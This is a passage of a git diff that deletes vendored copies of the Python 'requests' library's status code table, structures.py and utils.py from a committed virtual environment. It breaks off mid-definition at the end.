("proxy_authentication_required", "proxy_auth", "proxy_authentication"), - 408: ("request_timeout", "timeout"), - 409: ("conflict",), - 410: ("gone",), - 411: ("length_required",), - 412: ("precondition_failed", "precondition"), - 413: ("request_entity_too_large", "content_too_large"), - 414: ("request_uri_too_large", "uri_too_long"), - 415: ("unsupported_media_type", "unsupported_media", "media_type"), - 416: ( - "requested_range_not_satisfiable", - "requested_range", - "range_not_satisfiable", - ), - 417: ("expectation_failed",), - 418: ("im_a_teapot", "teapot", "i_am_a_teapot"), - 421: ("misdirected_request",), - 422: ("unprocessable_entity", "unprocessable", "unprocessable_content"), - 423: ("locked",), - 424: ("failed_dependency", "dependency"), - 425: ("unordered_collection", "unordered", "too_early"), - 426: ("upgrade_required", "upgrade"), - 428: ("precondition_required", "precondition"), - 429: ("too_many_requests", "too_many"), - 431: ("header_fields_too_large", "fields_too_large"), - 444: ("no_response", "none"), - 449: ("retry_with", "retry"), - 450: ("blocked_by_windows_parental_controls", "parental_controls"), - 451: ("unavailable_for_legal_reasons", "legal_reasons"), - 499: ("client_closed_request",), - # Server Error. - 500: ("internal_server_error", "server_error", "/o\\", "✗"), - 501: ("not_implemented",), - 502: ("bad_gateway",), - 503: ("service_unavailable", "unavailable"), - 504: ("gateway_timeout",), - 505: ("http_version_not_supported", "http_version"), - 506: ("variant_also_negotiates",), - 507: ("insufficient_storage",), - 509: ("bandwidth_limit_exceeded", "bandwidth"), - 510: ("not_extended",), - 511: ("network_authentication_required", "network_auth", "network_authentication"), -} - -codes: LookupDict[int] = LookupDict(name="status_codes") - - -def _init(): - for code, titles in _codes.items(): - for title in titles: - setattr(codes, title, code) - if not title.startswith(("\\", "/")): - setattr(codes, title.upper(), code) - - def doc(code: int) -> str: - names = ", ".join(f"``{n}``" for n in _codes[code]) - return "* %d: %s" % (code, names) - - global __doc__ - __doc__ = ( - __doc__ + "\n" + "\n".join(doc(code) for code in sorted(_codes)) - if __doc__ is not None - else None - ) - - -_init() diff --git a/venv/Lib/site-packages/pip/_vendor/requests/structures.py b/venv/Lib/site-packages/pip/_vendor/requests/structures.py deleted file mode 100644 index 7675eaf15a181dada66c02bb0468dc00d6f523b3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/structures.py +++ /dev/null @@ -1,130 +0,0 @@ -""" -requests.structures -~~~~~~~~~~~~~~~~~~~ - -Data structures that power Requests. -""" - -from __future__ import annotations - -from collections import OrderedDict -from collections.abc import Iterable, Iterator, Mapping -from typing import Any, Generic, TypeVar, overload - -from .compat import MutableMapping - -_VT = TypeVar("_VT") -_D = TypeVar("_D") - - -class CaseInsensitiveDict(MutableMapping[str, _VT], Generic[_VT]): - """A case-insensitive ``dict``-like object. - - Implements all methods and operations of - ``MutableMapping`` as well as dict's ``copy``. Also - provides ``lower_items``. - - All keys are expected to be strings. The structure remembers the - case of the last key to be set, and ``iter(instance)``, - ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()`` - will contain case-sensitive keys. However, querying and contains - testing is case insensitive:: - - cid = CaseInsensitiveDict() - cid['Accept'] = 'application/json' - cid['aCCEPT'] == 'application/json' # True - list(cid) == ['Accept'] # True - - For example, ``headers['content-encoding']`` will return the - value of a ``'Content-Encoding'`` response header, regardless - of how the header name was originally stored. - - If the constructor, ``.update``, or equality comparison - operations are given keys that have equal ``.lower()``s, the - behavior is undefined. - """ - - _store: OrderedDict[str, tuple[str, _VT]] - - def __init__( - self, - data: Mapping[str, _VT] | Iterable[tuple[str, _VT]] | None = None, - **kwargs: _VT, - ) -> None: - self._store = OrderedDict() - if data is None: - data = {} - self.update(data, **kwargs) - - def __setitem__(self, key: str, value: _VT) -> None: - # Use the lowercased key for lookups, but store the actual - # key alongside the value. - self._store[key.lower()] = (key, value) - - def __getitem__(self, key: str) -> _VT: - return self._store[key.lower()][1] - - def __delitem__(self, key: str) -> None: - del self._store[key.lower()] - - def __iter__(self) -> Iterator[str]: - return (casedkey for casedkey, _ in self._store.values()) - - def __len__(self) -> int: - return len(self._store) - - def lower_items(self) -> Iterator[tuple[str, _VT]]: - """Like iteritems(), but with all lowercase keys.""" - return ((lowerkey, keyval[1]) for (lowerkey, keyval) in self._store.items()) - - def __eq__(self, other: object) -> bool: - if isinstance(other, Mapping): - other_dict: CaseInsensitiveDict[Any] = CaseInsensitiveDict(other) # type: ignore[reportUnknownArgumentType] - else: - return NotImplemented - # Compare insensitively - return dict(self.lower_items()) == dict(other_dict.lower_items()) - - # Copy is required - def copy(self) -> CaseInsensitiveDict[_VT]: - return CaseInsensitiveDict(self._store.values()) - - def __repr__(self) -> str: - return str(dict(self.items())) - - -class LookupDict(dict[str, _VT]): - """Dictionary lookup object.""" - - name: Any - - def __init__(self, name: Any = None) -> None: - self.name = name - super().__init__() - - def __repr__(self) -> str: - return f"" - - def __getattr__(self, key: str) -> _VT | None: - # We need this for type checkers to infer typing - # on attribute access with status_codes.py - if key in self.__dict__: - return self.__dict__[key] - else: - raise AttributeError( - f"'{type(self).__name__}' object has no attribute '{key}'" - ) - - def __getitem__(self, key: str) -> _VT | None: # type: ignore[override] - # We allow fall-through here, so values default to None - - return self.__dict__.get(key, None) - - @overload - def get(self, key: str, default: None = None) -> _VT | None: ... - - @overload - def get(self, key: str, default: _D | _VT) -> _D | _VT: ... - - def get(self, key: str, default: _D | None = None) -> _VT | _D | None: - return self.__dict__.get(key, default) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/utils.py b/venv/Lib/site-packages/pip/_vendor/requests/utils.py deleted file mode 100644 index e2a2a321f7065e6cdc5fb5904a67fa6dcecb4ba8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/utils.py +++ /dev/null @@ -1,1155 +0,0 @@ -""" -requests.utils -~~~~~~~~~~~~~~ - -This module provides utility functions that are used within Requests -that are also useful for external consumption. -""" - -from __future__ import annotations - -import codecs -import contextlib -import io -import os -import re -import socket -import struct -import sys -import tempfile -import warnings -import zipfile -from collections import OrderedDict -from collections.abc import Generator, Iterable -from typing import ( - TYPE_CHECKING, - Any, - Final, - TypeVar, - cast, - overload, -) - -from pip._vendor.urllib3.util import make_headers, parse_url - -from . import certs -from .__version__ import __version__ - -# to_native_string is unused here, but imported here for backwards compatibility -from ._internal_utils import ( # noqa: F401 - _HEADER_VALIDATORS_BYTE, # type: ignore[reportPrivateUsage] - _HEADER_VALIDATORS_STR, # type: ignore[reportPrivateUsage] - HEADER_VALIDATORS, # type: ignore[reportUnusedImport] - to_native_string, # type: ignore[reportUnusedImport] -) -from ._types import SupportsItems as _SupportsItems -from .compat import ( - Mapping, - bytes, - getproxies, - getproxies_environment, - integer_types, - is_urllib3_1, - proxy_bypass, - proxy_bypass_environment, # type: ignore[attr-defined] # https://github.com/python/cpython/issues/145331 - quote, - str, - unquote, - urlparse, - urlunparse, -) -from .compat import parse_http_list as _parse_list_header -from .cookies import cookiejar_from_dict -from .exceptions import ( - FileModeWarning, - InvalidHeader, - InvalidURL, - UnrewindableBodyError, -) -from .structures import CaseInsensitiveDict - -if TYPE_CHECKING: - from http.cookiejar import CookieJar - from io import BufferedWriter - - from . import _types as _t - from .models import PreparedRequest, Request, Response - -NETRC_FILES: Final = (".netrc", "_netrc") - - -# Certificate is extracted by certifi when needed. -DEFAULT_CA_BUNDLE_PATH: str = certs.where() - - -DEFAULT_PORTS: Final = {"http": 80, "https": 443} - -_KT = TypeVar("_KT") -_VT = TypeVar("_VT") - -# Ensure that ', ' is used to preserve previous delimiter behavior. -DEFAULT_ACCEPT_ENCODING: Final = ", ".join( - re.split(r",\s*", make_headers(accept_encoding=True)["accept-encoding"]) -) - - -if sys.platform == "win32": - # provide a proxy_bypass version on Windows without DNS lookups - - def proxy_bypass_registry(host: str) -> bool: - try: - import winreg - except ImportError: - return False - - try: - internetSettings = winreg.OpenKey( - winreg.HKEY_CURRENT_USER, - r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", - ) - # ProxyEnable could be REG_SZ or REG_DWORD, normalizing it - proxyEnable = int(winreg.QueryValueEx(internetSettings, "ProxyEnable")[0]) - # ProxyOverride is almost always a string - proxyOverride = winreg.QueryValueEx(internetSettings, "ProxyOverride")[0] - except (OSError, ValueError): - return False - if not proxyEnable or not proxyOverride: - return False - - # make a check value list from the registry entry: replace the - # '' string by the localhost entry and the corresponding - # canonical entry. - proxyOverride = proxyOverride.split(";") - # filter out empty strings to avoid re.match return true in the following code. - proxyOverride = filter(None, proxyOverride) - # now check if we match one of the registry values. - for test in proxyOverride: - if test == "": - if "." not in host: - return True - test = test.replace(".", r"\.") # mask dots - test = test.replace("*", r".*") # change glob sequence - test = test.replace("?", r".") # change glob char - if re.match(test, host, re.I): - return True - return False - - def proxy_bypass(host: str) -> bool: # noqa - """Return True, if the host should be bypassed. - - Checks proxy settings gathered from the environment, if specified, - or the registry. - """ - if getproxies_environment(): - return proxy_bypass_environment(host) - else: - return proxy_bypass_registry(host) - - -def dict_to_sequence( - d: _t.SupportsItems[Any, Any] | Iterable[tuple[Any, Any]], -) -> Iterable[tuple[Any, Any]]: - """Returns an internal sequence dictionary update.""" - - if isinstance(d, _SupportsItems): - return d.items() - - return d - - -def super_len(o: Any) -> int: - total_length = None - current_position = 0 - - if not is_urllib3_1 and isinstance(o, str): - # urllib3 2.x+ treats all strings as utf-8 instead - # of latin-1 (iso-8859-1) like http.client. - o = o.encode("utf-8") - - if hasattr(o, "__len__"): - total_length = len(o) - - elif hasattr(o, "len"): - total_length = o.len - - elif hasattr(o, "fileno"): - try: - fileno = o.fileno() - except (io.UnsupportedOperation, AttributeError): - # AttributeError is a surprising exception, seeing as how we've just checked - # that `hasattr(o, 'fileno')`. It happens for objects obtained via - # `Tarfile.extractfile()`, per issue 5229. - pass - else: - total_length = os.fstat(fileno).st_size - - # Having used fstat to determine the file length, we need to - # confirm that this file was opened up in binary mode. - if "b" not in o.mode: - warnings.warn( - ( - "Requests has determined the content-length for this " - "request using the binary size of the file: however, the " - "file has been opened in text mode (i.e. without the 'b' " - "flag in the mode). This may lead to an incorrect " - "content-length. In Requests 3.0, support will be removed " - "for files in text mode." - ), - FileModeWarning, - ) - - if hasattr(o, "tell"): - try: - current_position = o.tell() - except OSError: - # This can happen in some weird situations, such as when the file - # is actually a special file descriptor like stdin. In this - # instance, we don't know what the length is, so set it to zero and - # let requests chunk it instead. - if total_length is not None: - current_position = total_length - else: - if hasattr(o, "seek") and total_length is None: - # StringIO and BytesIO have seek but no usable fileno - try: - # seek to end of file - o.seek(0, 2) - total_length = o.tell() - - # seek back to current position to support - # partially read file-like objects - o.seek(current_position or 0) - except OSError: - total_length = 0 - - if total_length is None: - total_length = 0 - - return max(0, total_length - current_position) - - -def get_netrc_auth( - url: _t.UriType, raise_errors: bool = False -) -> tuple[str, str] | None: - """Returns the Requests tuple auth for a given url from netrc.""" - - if isinstance(url, bytes): - url = url.decode("utf-8") - - netrc_file = os.environ.get("NETRC") - if netrc_file is not None: - netrc_locations = (netrc_file,) - else: - netrc_locations = (f"~/{f}" for f in NETRC_FILES) - - try: - from netrc import NetrcParseError, netrc - - netrc_path = None - - for f in netrc_locations: - loc = os.path.expanduser(f) - if os.path.exists(loc): - netrc_path = loc - break - - # Abort early if there isn't one. - if netrc_path is None: - return - - ri = urlparse(url) - host = ri.hostname - - if host is None: - return - - try: - _netrc = netrc(netrc_path).authenticators(host) - if _netrc and any(_netrc): - # Return with login / password - login_i = 0 if _netrc[0] else 1 - return (_netrc[login_i] or "", _netrc[2] or "") - except (NetrcParseError, OSError): - # If there was a parsing error or a permissions issue reading the file, - # we'll just skip netrc auth unless explicitly asked to raise errors. - if raise_errors: - raise - - # App Engine hackiness. - except (ImportError, AttributeError): - pass - - -def guess_filename(obj: Any) -> str | None: - """Tries to guess the filename of the given object.""" - name = getattr(obj, "name", None) - if name and isinstance(name, (str, bytes)) and name[0] != "<" and name[-1] != ">": - return os.path.basename(name) # type: ignore[return-value] # urllib3 accepts bytes but types str only - - -def extract_zipped_paths(path: str) -> str: - """Replace nonexistent paths that look like they refer to a member of a zip - archive with the location of an extracted copy of the target, or else - just return the provided path unchanged. - """ - if os.path.exists(path): - # this is already a valid path, no need to do anything further - return path - - # find the first valid part of the provided path and treat that as a zip archive - # assume the rest of the path is the name of a member in the archive - archive, member = os.path.split(path) - while archive and not os.path.exists(archive): - archive, prefix = os.path.split(archive) - if not prefix: - # If we don't check for an empty prefix after the split (in other words, archive remains unchanged after the split), - # we _can_ end up in an infinite loop on a rare corner case affecting a small number of users - break - member = "/".join([prefix, member]) - - if not zipfile.is_zipfile(archive): - return path - - zip_file = zipfile.ZipFile(archive) - if member not in zip_file.namelist(): - return path - - # we have a valid zip archive and a valid member of that archive - suffix = os.path.splitext(member.split("/")[-1])[-1] - fd, extracted_path = tempfile.mkstemp(suffix=suffix) - try: - os.write(fd, zip_file.read(member)) - finally: - os.close(fd) - - return extracted_path - - -@contextlib.contextmanager -def atomic_open(filename: str) -> Generator[BufferedWriter, None, None]: - """Write a file to the disk in an atomic fashion""" - tmp_descriptor, tmp_name = tempfile.mkstemp(dir=os.path.dirname(filename)) - try: - with os.fdopen(tmp_descriptor, "wb") as tmp_handler: - yield tmp_handler - os.replace(tmp_name, filename) - except BaseException: - os.remove(tmp_name) - raise - - -def from_key_val_list( - value: Mapping[Any, Any] | Iterable[tuple[Any, Any]] | None, -) -> dict[Any, Any] | None: - """Take an object and test to see if it can be represented as a - dictionary. Unless it can not be represented as such, return an - OrderedDict, e.g., - - :: - - >>> from_key_val_list([('key', 'val')]) - OrderedDict([('key', 'val')]) - >>> from_key_val_list('string') - Traceback (most recent call last): - ... - ValueError: cannot encode objects that are not 2-tuples - >>> from_key_val_list({'key': 'val'}) - OrderedDict([('key', 'val')]) - - :rtype: OrderedDict - """ - if value is None: - return None - - if isinstance(value, (str, bytes, bool, int)): - raise ValueError("cannot encode objects that are not 2-tuples") - - return OrderedDict(value) - - -@overload -def to_key_val_list(value: None) -> None: ... -@overload -def to_key_val_list( - value: _t.SupportsItems[_KT, _VT] | Iterable[tuple[_KT, _VT]], -) -> list[tuple[_KT, _VT]]: ... -def to_key_val_list( - value: _t.SupportsItems[_KT, _VT] | Iterable[tuple[_KT, _VT]] | None, -) -> list[tuple[_KT, _VT]] | None: - """Take an object and test to see if it can be represented as a - dictionary. If it can be, return a list of tuples, e.g., - - :: - - >>> to_key_val_list([('key', 'val')]) - [('key', 'val')] - >>> to_key_val_list({'key': 'val'}) - [('key', 'val')] - >>> to_key_val_list('string') - Traceback (most recent call last): - ... - ValueError: cannot encode objects that are not 2-tuples - - :rtype: list - """ - if value is None: - return None - - if isinstance(value, (str, bytes, bool, int)): - raise ValueError("cannot encode objects that are not 2-tuples") - - if isinstance(value, _SupportsItems): - return list(value.items()) - - return list(value) - - -# From mitsuhiko/werkzeug (used with permission). -def parse_list_header(value: str) -> list[str]: - """Parse lists as described by RFC 2068 Section 2. - - In particular, parse comma-separated lists where the elements of - the list may include quoted-strings. A quoted-string could - contain a comma. A non-quoted string could have quotes in the - middle. Quotes are removed automatically after parsing. - - It basically works like :func:`parse_set_header` just that items - may appear multiple times and case sensitivity is preserved. - - The return value is a standard :class:`list`: - - >>> parse_list_header('token, "quoted value"') - ['token', 'quoted value'] - - To create a header from the :class:`list` again, use the - :func:`dump_header` function. - - :param value: a string with a list header. - :return: :class:`list` - :rtype: list - """ - result: list[str] = [] - for item in _parse_list_header(value): - if item[:1] == item[-1:] == '"': - item = unquote_header_value(item[1:-1]) - result.append(item) - return result - - -# From mitsuhiko/werkzeug (used with permission). -def parse_dict_header(value: str) -> dict[str, str | None]: - """Parse lists of key, value pairs as described by RFC 2068 Section 2 and - convert them into a python dict: - - >>> d = parse_dict_header('foo="is a fish", bar="as well"') - >>> type(d) is dict - True - >>> sorted(d.items()) - [('bar', 'as well'), ('foo', 'is a fish')] - - If there is no value for a key it will be `None`: - - >>> parse_dict_header('key_without_value') - {'key_without_value': None} - - To create a header from the :class:`dict` again, use the - :func:`dump_header` function. - - :param value: a string with a dict header. - :return: :class:`dict` - :rtype: dict - """ - result: dict[str, str | None] = {} - for item in _parse_list_header(value): - if "=" not in item: - result[item] = None - continue - name, value = item.split("=", 1) - if value[:1] == value[-1:] == '"': - value = unquote_header_value(value[1:-1]) - result[name] = value - return result - - -# From mitsuhiko/werkzeug (used with permission). -def unquote_header_value(value: str, is_filename: bool = False) -> str: - r"""Unquotes a header value. (Reversal of :func:`quote_header_value`). - This does not use the real unquoting but what browsers are actually - using for quoting. - - :param value: the header value to unquote. - :rtype: str - """ - if value and value[0] == value[-1] == '"': - # this is not the real unquoting, but fixing this so that the - # RFC is met will result in bugs with internet explorer and - # probably some other browsers as well. IE for example is - # uploading files with "C:\foo\bar.txt" as filename - value = value[1:-1] - - # if this is a filename and the starting characters look like - # a UNC path, then just return the value without quotes. Using the - # replace sequence below on a UNC path has the effect of turning - # the leading double slash into a single slash and then - # _fix_ie_filename() doesn't work correctly. See #458. - if not is_filename or value[:2] != "\\\\": - return value.replace("\\\\", "\\").replace('\\"', '"') - return value - - -def dict_from_cookiejar(cj: CookieJar) -> dict[str, str | None]: - """Returns a key/value dictionary from a CookieJar. - - :param cj: CookieJar object to extract cookies from. - :rtype: dict - """ - - cookie_dict = {cookie.name: cookie.value for cookie in cj} - return cookie_dict - - -def add_dict_to_cookiejar(cj: CookieJar, cookie_dict: dict[str, str]) -> CookieJar: - """Returns a CookieJar from a key/value dictionary. - - :param cj: CookieJar to insert cookies into. - :param cookie_dict: Dict of key/values to insert into CookieJar. - :rtype: CookieJar - """ - - return cookiejar_from_dict(cookie_dict, cj) - - -def get_encodings_from_content(content: str) -> list[str]: - """Returns encodings from given content string. - - :param content: bytestring to extract encodings from. - """ - warnings.warn( - ( - "In requests 3.0, get_encodings_from_content will be removed. For " - "more information, please see the discussion on issue #2266. (This" - " warning should only appear once.)" - ), - DeprecationWarning, - ) - - charset_re = re.compile(r']', flags=re.I) - pragma_re = re.compile(r']', flags=re.I) - xml_re = re.compile(r'^<\?xml.*?encoding=["\']*(.+?)["\'>]') - - return ( - charset_re.findall(content) - + pragma_re.findall(content) - + xml_re.findall(content) - ) - - -def _parse_content_type_header(header: str) -> tuple[str, dict[str, Any]]: - """Returns content type and parameters from given header. - - :param header: string - :return: tuple containing content type and dictionary of - parameters. - """ - - tokens = header.split(";") - content_type, params = tokens[0].strip(), tokens[1:] - params_dict: dict[str, str | bool] = {} - strip_chars = "\"' " - - for param in params: - param = param.strip() - if param and (idx := param.find("=")) != -1: - key = param[:idx].strip(strip_chars) - value = param[idx + 1 :].strip(strip_chars) - params_dict[key.lower()] = value - return content_type, params_dict - - -def get_encoding_from_headers(headers: CaseInsensitiveDict[str]) -> str | None: - """Returns encodings from given HTTP Header Dict. - - :param headers: dictionary to extract encoding from. - :rtype: str - """ - - content_type = headers.get("content-type") - - if not content_type: - return None - - content_type, params = _parse_content_type_header(content_type) - - if "charset" in params: - return params["charset"].strip("'\"") - - if "text" in content_type: - return "ISO-8859-1" - - if "application/json" in content_type: - # Assume UTF-8 based on RFC 4627: https://www.ietf.org/rfc/rfc4627.txt since the charset was unset - return "utf-8" - - -def stream_decode_response_unicode( - iterator: Iterable[bytes], r: Response -) -> Generator[str | bytes, None, None]: - """Stream decodes an iterator.""" - - if r.encoding is None: - yield from iterator - return - - decoder = codecs.getincrementaldecoder(r.encoding)(errors="replace") - for chunk in iterator: - rv = decoder.decode(chunk) - if rv: - yield rv - rv = decoder.decode(b"", final=True) - if rv: - yield rv - - -@overload -def iter_slices( - string: bytes, slice_length: int | None -) -> Generator[bytes, None, None]: ... -@overload -def iter_slices( - string: str, slice_length: int | None -) -> Generator[str, None, None]: ... -def iter_slices( - string: bytes | str, slice_length: int | None -) -> Generator[bytes | str, None, None]: - """Iterate over slices of a string.""" - pos = 0 - if slice_length is None or slice_length <= 0: - slice_length = len(string) - while pos < len(string): - yield string[pos : pos + slice_length] - pos += slice_length - - -def get_unicode_from_response(r: Response) -> str | bytes | None: - """Returns the requested content back in unicode. - - :param r: Response object to get unicode content from. - - Tried: - - 1. charset from content-type - 2. fall back and replace all unicode characters - - :rtype: str - """ - warnings.warn( - ( - "In requests 3.0, get_unicode_from_response will be removed. For " - "more information, please see the discussion on issue #2266. (This" - " warning should only appear once.)" - ), - DeprecationWarning, - ) - if r.content is None: # type: ignore[reportUnnecessaryComparison] - return None - - tried_encodings: list[str] = [] - - # Try charset from content-type - encoding = get_encoding_from_headers(r.headers) - - if encoding: - try: - return str(r.content, encoding) - except UnicodeError: - tried_encodings.append(encoding) - - # Fall back: - try: - return str(r.content, encoding or "utf-8", errors="replace") - except TypeError: - return r.content - - -# The unreserved URI characters (RFC 3986) -UNRESERVED_SET: Final = frozenset( - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + "0123456789-._~" -) - - -def unquote_unreserved(uri: str) -> str: - """Un-escape any percent-escape sequences in a URI that are unreserved - characters. This leaves all reserved, illegal and non-ASCII bytes encoded. - - :rtype: str - """ - parts = uri.split("%") - for i in range(1, len(parts)): - h = parts[i][0:2] - if len(h) == 2 and h.isalnum(): - try: - c = chr(int(h, 16)) - except ValueError: - raise InvalidURL(f"Invalid percent-escape sequence: '{h}'") - - if c in UNRESERVED_SET: - parts[i] = c + parts[i][2:] - else: - parts[i] = f"%{parts[i]}" - else: - parts[i] = f"%{parts[i]}" - return "".join(parts) - - -def requote_uri(uri: str) -> str: - """Re-quote the given URI. - - This function passes the given URI through an unquote/quote cycle to - ensure that it is fully and consistently quoted. - - :rtype: str - """ - safe_with_percent = "!#$%&'()*+,/:;=?@[]~" - safe_without_percent = "!#$&'()*+,/:;=?@[]~" - try: - # Unquote only the unreserved characters - # Then quote only illegal characters (do not quote reserved, - # unreserved, or '%') - return quote(unquote_unreserved(uri), safe=safe_with_percent) - except InvalidURL: - # We couldn't unquote the given URI, so let's try quoting it, but - # there may be unquoted '%'s in the URI. We need to make sure they're - # properly quoted so they do not cause issues elsewhere. - return quote(uri, safe=safe_without_percent) - - -def address_in_network(ip: str, net: str) -> bool: - """This function allows you to check if an IP belongs to a network subnet - - Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24 - returns False if ip = 192.168.1.1 and net = 192.168.100.0/24 - - :rtype: bool - """ - ipaddr = struct.unpack("=L", socket.inet_aton(ip))[0] - netaddr, bits = net.split("/") - netmask = struct.unpack("=L", socket.inet_aton(dotted_netmask(int(bits))))[0] - network = struct.unpack("=L", socket.inet_aton(netaddr))[0] & netmask - return (ipaddr & netmask) == (network & netmask) - - -def dotted_netmask(mask: int) -> str: - """Converts mask from /xx format to xxx.xxx.xxx.xxx - - Example: if mask is 24 function returns 255.255.255.0 - - :rtype: str - """ - bits = 0xFFFFFFFF ^ (1 << 32 - mask) - 1 - return socket.inet_ntoa(struct.pack(">I", bits)) - - -def is_ipv4_address(string_ip: str) -> bool: - """ - :rtype: bool - """ - try: - socket.inet_aton(string_ip) - except OSError: - return False - return True - - -def is_valid_cidr(string_network: str) -> bool: - """ - Very simple check of the cidr format in no_proxy variable. - - :rtype: bool - """ - if string_network.count("/") == 1: - try: - mask = int(string_network.split("/")[1]) - except ValueError: - return False - - if mask < 1 or mask > 32: - return False - - try: - socket.inet_aton(string_network.split("/")[0]) - except OSError: - return False - else: - return False - return True - - -@contextlib.contextmanager -def set_environ(env_name: str, value: str | None) -> Generator[None, None, None]: - """Set the environment variable 'env_name' to 'value' - - Save previous value, yield, and then restore the previous value stored in - the environment variable 'env_name'. - - If 'value' is None, do nothing""" - value_changed = value is not None - old_value: str | None = None - if value_changed: - old_value = os.environ.get(env_name) - os.environ[env_name] = value - try: - yield - finally: - if value_changed: - if old_value is None: - del os.environ[env_name] - else: - os.environ[env_name] = old_value - - -def should_bypass_proxies(url: str, no_proxy: str | None) -> bool: - """ - Returns whether we should bypass proxies or not. - - :rtype: bool - """ - - # Prioritize lowercase environment variables over uppercase - # to keep a consistent behaviour with other http projects (curl, wget). - def get_proxy(key: str) -> str | None: - return os.environ.get(key) or os.environ.get(key.upper()) - - # First check whether no_proxy is defined. If it is, check that the URL - # we're getting isn't in the no_proxy list. - no_proxy_arg = no_proxy - if no_proxy is None: - no_proxy = get_proxy("no_proxy") - parsed = urlparse(url) - hostname = parsed.hostname - - if hostname is None: - # URLs don't always have hostnames, e.g. file:/// urls. - return True - - if no_proxy: - # We need to check whether we match here. We need to see if we match - # the end of the hostname, both with and without the port. - no_proxy_hosts = (host for host in no_proxy.replace(" ", "").split(",") if host) - - if is_ipv4_address(hostname): - for proxy_ip in no_proxy_hosts: - if is_valid_cidr(proxy_ip): - if address_in_network(hostname, proxy_ip): - return True - elif hostname == proxy_ip: - # If no_proxy ip was defined in plain IP notation instead of cidr notation & - # matches the IP of the index - return True - else: - host_with_port = hostname - if parsed.port: - host_with_port += f":{parsed.port}" - - for host in no_proxy_hosts: - host = host.lstrip(".") - if hostname == host or host_with_port == host: - return True - host = "." + host - if hostname.endswith(host) or host_with_port.endswith(host): - return True - - with set_environ("no_proxy", no_proxy_arg): - try: - bypass = proxy_bypass(hostname) - except (TypeError, socket.gaierror): - bypass = False - - if bypass: - return True - - return False - - -def get_environ_proxies(url: str, no_proxy: str | None = None) -> dict[str, str]: - """ - Return a dict of environment proxies. - - :rtype: dict - """ - if should_bypass_proxies(url, no_proxy=no_proxy): - return {} - else: - return getproxies() - - -def select_proxy(url: str, proxies: dict[str, str] | None) -> str | None: - """Select a proxy for the url, if applicable. - - :param url: The url being for the request - :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs - """ - proxies = proxies or {} - urlparts = urlparse(url) - if urlparts.hostname is None: - return proxies.get(urlparts.scheme, proxies.get("all")) - - proxy_keys = [ - urlparts.scheme + "://" + urlparts.hostname, - urlparts.scheme, - "all://" + urlparts.hostname, - "all", - ] - proxy = None - for proxy_key in proxy_keys: - if proxy_key in proxies: - proxy = proxies[proxy_key] - break - - return proxy - - -def resolve_proxies( - request: Request | PreparedRequest, - proxies: dict[str, str] | None, - trust_env: bool = True, -) -> dict[str, str]: - """This method takes proxy information from a request and configuration - input to resolve a mapping of target proxies. This will consider settings - such as NO_PROXY to strip proxy configurations. - - :param request: Request or PreparedRequest - :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs - :param trust_env: Boolean declaring whether to trust environment configs - - :rtype: dict - """ - proxies = proxies if proxies is not None else {} - url = cast(str, request.url) - scheme = urlparse(url).scheme - no_proxy = proxies.get("no_proxy") - new_proxies = proxies.copy() - - if trust_env and not should_bypass_proxies(url, no_proxy=no_proxy): - environ_proxies = get_environ_proxies(url, no_proxy=no_proxy) - - proxy = environ_proxies.get(scheme, environ_proxies.get("all")) - - if proxy: - new_proxies.setdefault(scheme, proxy) - return new_proxies - - -def default_user_agent(name: str = "python-requests") -> str: - """ - Return a string representing the default user agent. - - :rtype: str - """ - return f"{name}/{__version__}" - - -def default_headers() -> CaseInsensitiveDict[str]: - """ - :rtype: requests.structures.CaseInsensitiveDict - """ - return CaseInsensitiveDict( - { - "User-Agent": default_user_agent(), - "Accept-Encoding": DEFAULT_ACCEPT_ENCODING, - "Accept": "*/*", - "Connection": "keep-alive", - } - ) - - -def parse_header_links(value: str) -> list[dict[str, str]]: - """Return a list of parsed link headers proxies. - - i.e. Link: ; rel=front; type="image/jpeg",; rel=back;type="image/jpeg" - - :rtype: list - """ - - links: list[dict[str, str]] = [] - - replace_chars = " '\"" - - value = value.strip(replace_chars) - if not value: - return links - - for val in re.split(", *<", value): - try: - url, params = val.split(";", 1) - except ValueError: - url, params = val, "" - - link: dict[str, str] = {"url": url.strip("<> '\"")} - - for param in params.split(";"): - try: - key, value = param.split("=") - except ValueError: - break - - link[key.strip(replace_chars)] = value.strip(replace_chars) - - links.append(link) - - return links - - -# Null bytes; no need to recreate these on each call to guess_json_utf -_null = "\x00".encode("ascii") # encoding to ASCII for Python 3 -_null2 = _null * 2 -_null3 = _null * 3 - - -def guess_json_utf(data: bytes) -> str | None: - """ - :rtype: str - """ - # JSON always starts with two ASCII characters, so detection is as - # easy as counting the nulls and from their location and count - # determine the encoding. Also detect a BOM, if present. - sample = data[:4] - if sample in (codecs.BOM_UTF32_LE, codecs.BOM_UTF32_BE): - return "utf-32" # BOM included - if sample[:3] == codecs.BOM_UTF8: - return "utf-8-sig" # BOM included, MS style (discouraged) - if sample[:2] in (codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE): - return "utf-16" # BOM included - nullcount = sample.count(_null) - if nullcount == 0: - return "utf-8" - if nullcount == 2: - if sample[::2] == _null2: # 1st and 3rd are null - return "utf-16-be" - if sample[1::2] == _null2: # 2nd and 4th are null - return "utf-16-le" - # Did not detect 2 valid UTF-16 ascii-range characters - if nullcount == 3: - if sample[:3] == _null3: - return "utf-32-be" - if sample[1:] == _null3: - return "utf-32-le" - # Did not detect a valid UTF-32 ascii-range character - return None - - -def prepend_scheme_if_needed(url: str, new_scheme: str) -> str: - """Given a URL that may or may not have a scheme, prepend the given scheme. - Does not replace a present scheme with the one provided as an argument. - - :rtype: str - """ - parsed = parse_url(url) - scheme, auth, _host, _port, path, query, fragment = parsed - - # A defect in urlparse determines that there isn't a netloc present in some - # urls. We previously assumed parsing was overly cautious, and swapped the - # netloc and path. Due to a lack of tests on the original defect, this is - # maintained with parse_url for backwards compatibility. - netloc = parsed.netloc - if not netloc: - netloc, path = path, netloc - - if auth: - # parse_url doesn't provide the netloc with auth - # so we'll add it ourselves. - netloc = cast(str, netloc) - netloc = "@".join([auth, netloc]) - if scheme is None: - scheme = new_scheme - if path is None: - path = "" - - return urlunparse((scheme, netloc, path, "", query, fragment)) - - -def 